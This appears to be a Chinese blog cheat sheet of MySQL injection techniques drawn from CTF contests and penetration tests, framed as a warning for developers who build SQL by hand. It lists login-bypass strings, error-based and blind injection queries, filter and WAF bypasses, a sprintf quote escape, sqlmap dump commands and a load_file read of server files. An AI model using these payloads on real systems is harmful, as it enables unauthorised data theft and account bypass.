數據庫注入過濾總結

數據庫注入過濾總結

比賽、滲透所總結的數據庫注入攻擊技巧,如果您迫不得已打算手寫拼接數據庫語句,請務必做好過濾,防範以下的攻擊,這是很基礎的。

fuzz

burp的爆破功能,使用wfuzz的sql字典
可以初步得知過濾的情況

MYSQL

基本語句

  • 數據庫名
SELECT database();
SELECT group_concat(schema_name) FROM information_schema.schemata;
  • 表名
UNION SELECT GROUP_CONCAT(TABLE_NAME) from information_schema.tables WHERE TABLE_SCHEMA=database()
  • 列名
UNION SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name = 'tablename'

萬能密碼

  • username='or'1&password='or'1 (處理引號:or'

報錯注入

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

盲注

時間盲注

MySQL基於時間盲注(Time-Based Blind SQL Injection)五種延時方法

繞過

  • 寬字節

  • 引號

-- hex 編碼
SELECT * FROM Users WHERE username = 0x61646D696E
-- char() 函數
SELECT * FROM Users WHERE username = CHAR(97, 100, 109, 105, 110)
  • 等號
    • 使用!和<>的組合,等效於使用= where !(table_schema<>database())
    • regexp where table_schema regexp database()
    • in where table_schema in (select database())
    • like where username like 'admin'
  • 空格
    • 使用0x0a,`%09’代替·
    • 使用mid(group_concat(column_name separatoorr '@')from(0)for(1) 代替 mid((select flag from flag limit 0,1)
    • 使用括號(部分版本兼容)select(GROUP_CONCAT(TABLE_NAME))FROM(information_schema.tables)WHERE(TABLE_SCHEMA=database())
    • /**/

配合

sprintf

格式化字符串可以使單引號逃逸

發現方法: fuzz %
利用方法: %直接吃掉後面的\,但可能會報錯,因爲超過了給定的變量,解決方法,使用$

payload: %1$' or 1=1 #

sqlmap

基本使用

sqlmap -u 目標網址 --dbs
sqlmap -u 目標網址 --tables -D 數據庫名
sqlmap -u 目標網址 --columns -T 表名 -D 數據庫名
sqlmap -u 目標網址 --dump -C 字段名稱 -T 表名 -D 數據庫名

文件操作

讀文件

SELECT load_file('/var/www/html/f13g_ls_here.txt')

waf繞過

  • 在post數據前部加入很長的無關參數,比如haha=aaaaaa…aaa&username=111…

結構猜測

  • 括號閉合: http://blog.q.2019.volgactf.ru/?s=)))+union+select+extractvalue(1,concat(0x3a,(select+flag+from+flag)))+%23%27)&exact=1&sentence=1

更加方便的防禦方法

不斷增加過濾的規則,以黑名單的方式防範數據庫注入,是很勞累的。可以參考這篇博文,有更方便的防護方法

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章